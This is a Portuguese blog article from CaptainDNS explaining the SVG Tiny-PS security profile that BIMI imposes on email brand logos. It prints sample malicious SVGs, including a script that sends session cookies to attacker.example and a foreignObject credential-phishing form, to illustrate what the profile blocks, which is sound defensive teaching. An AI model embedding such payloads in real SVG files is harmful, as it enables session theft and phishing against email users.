Ir para o conteúdo principal

CaptainDNS hospeda sua política MTA-STS e seu logo BIMI, e monitora seus relatórios DMARC e TLS-RPT automaticamente. Tudo grátis, sem servidor próprio.

Google, Yahoo e Microsoft agora exigem autenticação de e-mail mais forte. Proteja sua entregabilidade em poucos cliques.

SVG Tiny-PS: entenda o perfil de segurança imposto pelo BIMI

Por CaptainDNS
Publicado em 2 de março de 2026

Diagrama do modelo de segurança SVG Tiny-PS mostrando os vetores de ataque bloqueados pelo perfil BIMI
TL;DR
  • O SVG padrão pode incorporar scripts JavaScript, links de phishing e pixels de rastreamento: recursos incompatíveis com uma caixa de entrada
  • O perfil SVG Tiny 1.2 PS (Portable/Secure) elimina toda execução de código, todo carregamento externo e toda interatividade
  • Gmail, Yahoo Mail e Apple Mail analisam cada logo BIMI e rejeitam qualquer arquivo que viole as restrições do perfil PS

Um arquivo SVG não é uma simples imagem. É um documento XML que pode conter JavaScript, links de hipertexto, requisições para servidores externos e até HTML incorporado via <foreignObject>. Esses recursos, úteis na web, se tornam armas em um contexto de e-mail.

O BIMI (Brand Indicators for Message Identification) exibe o logo de uma marca diretamente na caixa de entrada do destinatário. Se esse logo pudesse executar código ou carregar recursos externos, ele se tornaria o vetor de ataque mais acessível já implantado: presente em cada e-mail recebido, exibido automaticamente, sem interação do usuário.

É por isso que o BIMI impõe um perfil SVG ultra-restritivo: SVG Tiny 1.2 PS (Portable/Secure). Este artigo detalha a origem desse perfil, as ameaças que ele neutraliza e como os provedores de e-mail o aplicam.

Do W3C ao BIMI: de onde vem o perfil SVG Tiny-PS?

O perfil SVG Tiny-PS não surgiu do nada. Ele se baseia em duas décadas de trabalho de padronização do W3C, adaptado às restrições específicas do e-mail.

SVG Tiny 1.2: um padrão para dispositivos limitados

Em 2008, o W3C publica a especificação SVG Tiny 1.2. O objetivo inicial não tem nada a ver com e-mail: trata-se de permitir a exibição de gráficos vetoriais em dispositivos móveis com recursos limitados (telefones da época, PDAs, navegadores embarcados).

O SVG Tiny 1.2 remove as funcionalidades mais pesadas do SVG Full: sem filtros complexos, sem <foreignObject>, sem CSS avançado. O subconjunto restante é suficiente para exibir ícones, logos e ilustrações simples.

A extensão PS: a camada de segurança do BIMI

Quando o BIMI Working Group procura um formato de imagem para os logos de marca nos e-mails, o SVG Tiny 1.2 é um bom ponto de partida. O formato é leve, padronizado e não depende de resoluções fixas. Mas o SVG Tiny 1.2 ainda conserva recursos problemáticos para a segurança de e-mail:

  • Os scripts JavaScript (<script>) ainda são permitidos no SVG Tiny 1.2
  • Os links de hipertexto (<a>) continuam autorizados
  • As animações (<animate>, <set>) funcionam

O BIMI Working Group adiciona então uma camada extra de restrições, batizada de PS (Portable/Secure). O resultado é um perfil declarado via o atributo baseProfile="tiny-ps" na tag <svg> raiz:

<svg xmlns="http://www.w3.org/2000/svg"
     version="1.2"
     baseProfile="tiny-ps"
     viewBox="0 0 512 512">
  <!-- Conteúdo do logo -->
</svg>

O atributo baseProfile="tiny-ps" sinaliza aos parsers que o arquivo está sujeito às restrições PS. Um provedor de e-mail que encontra um SVG sem esse atributo o rejeita, mesmo que o conteúdo seja tecnicamente conforme.

Quais vetores de ataque um arquivo SVG pode conter?

Para entender as restrições, é preciso primeiro entender os riscos. Um arquivo SVG clássico oferece cinco grandes superfícies de ataque em um contexto de e-mail.

Execução de código JavaScript

O SVG suporta a tag <script> com JavaScript completo. Em um navegador, é uma funcionalidade. Em uma caixa de entrada, é uma falha XSS (Cross-Site Scripting) servida de bandeja:

<!-- SVG malicioso: roubo de sessão -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://attacker.example/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="#0EA5E9"/>
</svg>

Um arquivo desses, exibido como logo BIMI, poderia acessar o DOM do cliente de e-mail web, exfiltrar cookies de sessão ou injetar conteúdo na página.

Carregamento de recursos externos

A tag <image> permite carregar imagens de um servidor remoto. É um pixel de rastreamento disfarçado de logo:

<!-- SVG com pixel de rastreamento -->
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="https://tracker.example/pixel.gif?uid=12345"
         width="1" height="1"/>
  <circle cx="50" cy="50" r="40" fill="#10B981"/>
</svg>

Cada exibição do logo dispara uma requisição HTTP. O atacante sabe quando, onde e quantas vezes o e-mail é aberto (endereço IP, user agent, frequência).

O elemento <a> cria zonas clicáveis em um SVG. Um logo inteiramente clicável que redireciona para um site de phishing passaria despercebido pela maioria dos usuários:

<!-- SVG com link de phishing -->
<svg xmlns="http://www.w3.org/2000/svg">
  <a href="https://fake-bank.example/login">
    <rect width="100" height="100" fill="#8B5CF6"/>
    <text x="50" y="55" text-anchor="middle" fill="white">Logo</text>
  </a>
</svg>

Conteúdo HTML incorporado

<foreignObject> permite injetar HTML e CSS arbitrários em um SVG. É a superfície de ataque mais ampla: formulários, iframes, scripts aninhados:

<!-- SVG com HTML incorporado -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <form action="https://attacker.example/phish">
        <input type="text" placeholder="E-mail"/>
        <input type="password" placeholder="Senha"/>
        <button>Entrar</button>
      </form>
    </div>
  </foreignObject>
</svg>

Animações e interações por eventos

Os elementos <animate>, <set> e os atributos onclick, onmouseover permitem criar comportamentos dinâmicos. Um logo animado poderia simular uma interface, exibir botões falsos ou acionar ações ao passar o mouse.

Modelo de ameaça SVG: os vetores de ataque neutralizados pelo perfil Tiny-PS

Como o perfil PS neutraliza cada ameaça?

O perfil PS aplica três categorias de restrições. Cada uma visa um grupo de ameaças específico.

Categoria 1: elementos proibidos

O perfil PS remove completamente certos elementos XML do vocabulário SVG autorizado:

Elemento proibidoAmeaça neutralizada
<script>Execução de código JavaScript (XSS)
<image>Carregamento de recursos externos (rastreamento)
<a>Links de phishing clicáveis
<foreignObject>Injeção de HTML/CSS arbitrário
<animate>, <animateTransform>, <set>Animações e comportamentos dinâmicos
<filter>, <feGaussianBlur>Filtros complexos (renderização imprevisível)
<pattern>, <mask>, <symbol>Elementos avançados desnecessários para um logo
<marker>, <switch>, <cursor>Interatividade e personalização

Se um arquivo SVG contiver um único desses elementos, o provedor o rejeita integralmente. Não existe modo degradado: um único elemento proibido é suficiente.

Categoria 2: atributos e eventos removidos

Mesmo nos elementos autorizados, certos atributos são proibidos:

  • Eventos JavaScript: onclick, onmouseover, onload, onfocusin e todos os atributos on*
  • Referências externas: xlink:href apontando para uma URL externa (as referências internas com #id continuam autorizadas)
  • Estilos CSS complexos: os blocos <style> são proibidos; as propriedades devem ser declaradas como atributos inline (fill="#0EA5E9")

Categoria 3: estrutura imposta

O perfil PS impõe uma estrutura precisa no elemento <svg> raiz:

AtributoValor exigidoFunção
version1.2Declara o subconjunto SVG Tiny 1.2
baseProfiletiny-psAtiva as restrições PS
viewBox0 0 X X (quadrado)Garante uma proporção 1:1 para exibição
xmlnshttp://www.w3.org/2000/svgNamespace SVG padrão

O viewBox quadrado não é uma restrição de segurança propriamente dita. Ele garante que o logo seja exibido corretamente independentemente do cliente de e-mail e do tamanho da área de exibição.

Elementos autorizados

O que resta após a filtragem constitui o vocabulário mínimo para desenhar um logo:

Contêineres: <svg>, <g>, <defs>

Formas: <rect>, <circle>, <ellipse>, <line>, <polyline>, <polygon>, <path>

Texto: <text>, <tspan>

Cores: <linearGradient>, <radialGradient>, <stop>, <solidColor>

Recorte: <clipPath>, <use> (referência local apenas)

Acessibilidade: <title>, <desc>

Esse vocabulário é suficiente para reproduzir qualquer logo de marca. Os logos não precisam de scripts, animações ou links: eles são, por natureza, imagens estáticas.

Como os provedores validam um logo SVG Tiny-PS?

Os provedores de e-mail não confiam no atributo baseProfile="tiny-ps". Eles analisam o arquivo integralmente e verificam cada elemento.

O processo de validação

A validação segue um pipeline de quatro etapas:

  1. Recuperação: o provedor baixa o arquivo SVG a partir da URL indicada no registro DNS BIMI (l=https://...)
  2. Parsing XML: o arquivo é analisado como um documento XML estrito. Qualquer arquivo malformado é rejeitado
  3. Verificação estrutural: presença de version="1.2", baseProfile="tiny-ps", viewBox quadrado, namespace correto
  4. Análise dos elementos: cada nó XML é comparado à lista de permissões. Um elemento proibido provoca rejeição imediata

Diferenças entre provedores

CritérioGmailYahoo MailApple Mail
Validação SVG Tiny-PSRigorosaRigorosaRigorosa
Certificado VMC/CMC exigidoSimNãoNão
Cache do logoLongo (dias)Médio (horas)Curto
DMARC p=reject obrigatórioSimNão (p=quarantine é suficiente)Não (p=quarantine é suficiente)

O Gmail aplica a validação mais rigorosa. Além do formato SVG Tiny-PS, ele exige um certificado VMC (Verified Mark Certificate) ou CMC (Common Mark Certificate) que vincula criptograficamente o logo à identidade da marca. O Yahoo Mail e o Apple Mail exibem o logo sem certificado, mas validam o formato com o mesmo rigor.

Motivos de rejeição mais comuns

As causas de rejeição mais frequentes são:

  1. baseProfile ausente: o arquivo não declara baseProfile="tiny-ps" (cerca de 50% dos casos)
  2. Bloco <style> presente: os editores gráficos exportam as cores em CSS, não em atributos inline
  3. Elemento <image> detectado: um bitmap incorporado em base64 no SVG
  4. viewBox não quadrado: proporção diferente de 1:1
  5. Namespace supérfluo: xmlns:inkscape, xmlns:xlink com referências não utilizadas

Processo de validação de um logo SVG Tiny-PS pelos provedores de e-mail

🎯 Plano de ação recomendado

  1. Auditar seu arquivo SVG atual: abra-o em um editor de texto e procure os elementos proibidos (<script>, <image>, <style>, <a>, <animate>)
  2. Verificar os atributos raiz: confirme a presença de version="1.2", baseProfile="tiny-ps" e um viewBox quadrado
  3. Converter automaticamente: passe o arquivo em um conversor SVG Tiny-PS para remover os elementos proibidos e adicionar os atributos faltantes
  4. Testar a recuperação: use a ferramenta de verificação BIMI do CaptainDNS para confirmar que o logo está acessível e válido a partir do registro DNS
  5. Monitorar as atualizações: o BIMI Working Group pode ajustar as restrições; consulte regularmente a RFC 9495

FAQ

O que é o perfil SVG Tiny-PS?

SVG Tiny 1.2 PS (Portable/Secure) é um subconjunto restrito do formato SVG, definido para o BIMI. Ele usa como base o SVG Tiny 1.2 do W3C e adiciona restrições de segurança: sem scripts, sem links, sem imagens externas, sem animações. Apenas os elementos visuais estáticos (formas, texto, gradientes) são permitidos.

Por que o BIMI não aceita arquivos SVG padrão?

Um arquivo SVG padrão pode conter JavaScript, links de hipertexto, pixels de rastreamento e HTML incorporado. Exibir um arquivo desses automaticamente em uma caixa de entrada abriria uma superfície de ataque massiva. O perfil SVG Tiny-PS elimina esses recursos para que o logo permaneça uma imagem estática inofensiva.

Qual é a diferença entre SVG Tiny 1.2 e SVG Tiny-PS?

O SVG Tiny 1.2 é um padrão W3C projetado para dispositivos móveis. Ele remove as funcionalidades mais pesadas do SVG Full, mas mantém os scripts e os links. O SVG Tiny-PS adiciona uma camada de restrições de segurança específicas do BIMI: proibição de scripts, links, animações e qualquer carregamento externo.

Que tipos de ataques um arquivo SVG malicioso pode conter?

Um SVG malicioso pode conter JavaScript para executar XSS, tags &lt;image> para rastreamento por pixel, links &lt;a> para phishing, HTML via &lt;foreignObject> para injetar formulários e animações para simular elementos falsos de interface.

Como o Gmail valida um logo BIMI?

O Gmail baixa o SVG a partir da URL declarada no registro DNS BIMI, analisa o XML, verifica a presença de baseProfile="tiny-ps" e de um viewBox quadrado, e então analisa cada elemento contra a lista de permissões do perfil PS. Ele também exige um certificado VMC ou CMC válido para exibir o logo com o selo de verificação.

O perfil SVG Tiny-PS permite gradientes e cores?

Sim. Os gradientes lineares (&lt;linearGradient>), radiais (&lt;radialGradient>) e as cores (fill, stroke, &lt;solidColor>) são permitidos. O perfil PS restringe apenas os elementos que representam um risco de segurança, não os elementos decorativos necessários para um logo.

Existe um validador oficial para SVG Tiny-PS?

O BIMI Group não fornece um validador oficial. Os provedores de e-mail realizam sua própria validação durante o processamento do e-mail. Para testar seu logo antes da publicação, use uma ferramenta de verificação BIMI que simula o processo de validação dos provedores.

📖 Glossário

  • SVG Tiny 1.2 PS: perfil de segurança do formato SVG adotado pelo BIMI. PS significa Portable/Secure. Ele restringe o SVG Tiny 1.2 aos elementos visuais estáticos, eliminando scripts, links, animações e carregamento externo.
  • XSS (Cross-Site Scripting): ataque que injeta código JavaScript em uma página web para roubar dados ou sequestrar sessões. Um SVG com <script> pode servir como vetor de XSS.
  • baseProfile: atributo XML da tag <svg> que declara o perfil SVG utilizado. O valor tiny-ps sinaliza ao parser que o arquivo deve respeitar as restrições PS.
  • BIMI: Brand Indicators for Message Identification. Padrão que exibe o logo de uma marca nos clientes de e-mail, condicionado ao DMARC e (dependendo do provedor) a um certificado VMC/CMC.
  • VMC/CMC: Verified Mark Certificate / Common Mark Certificate. Certificados que vinculam criptograficamente um logo a uma marca. O Gmail exige um desses certificados para exibir o selo de verificação.
  • RFC 9495: especificação IETF do BIMI, publicada em dezembro de 2023. Define o formato de registro DNS, o processo de validação e os requisitos do logo SVG.

Verifique a conformidade do seu logo: passe seu arquivo SVG no conversor SVG Tiny-PS do CaptainDNS para detectar e corrigir automaticamente os elementos não conformes.


📚 Guias de BIMI relacionados

Fontes

Artigos relacionados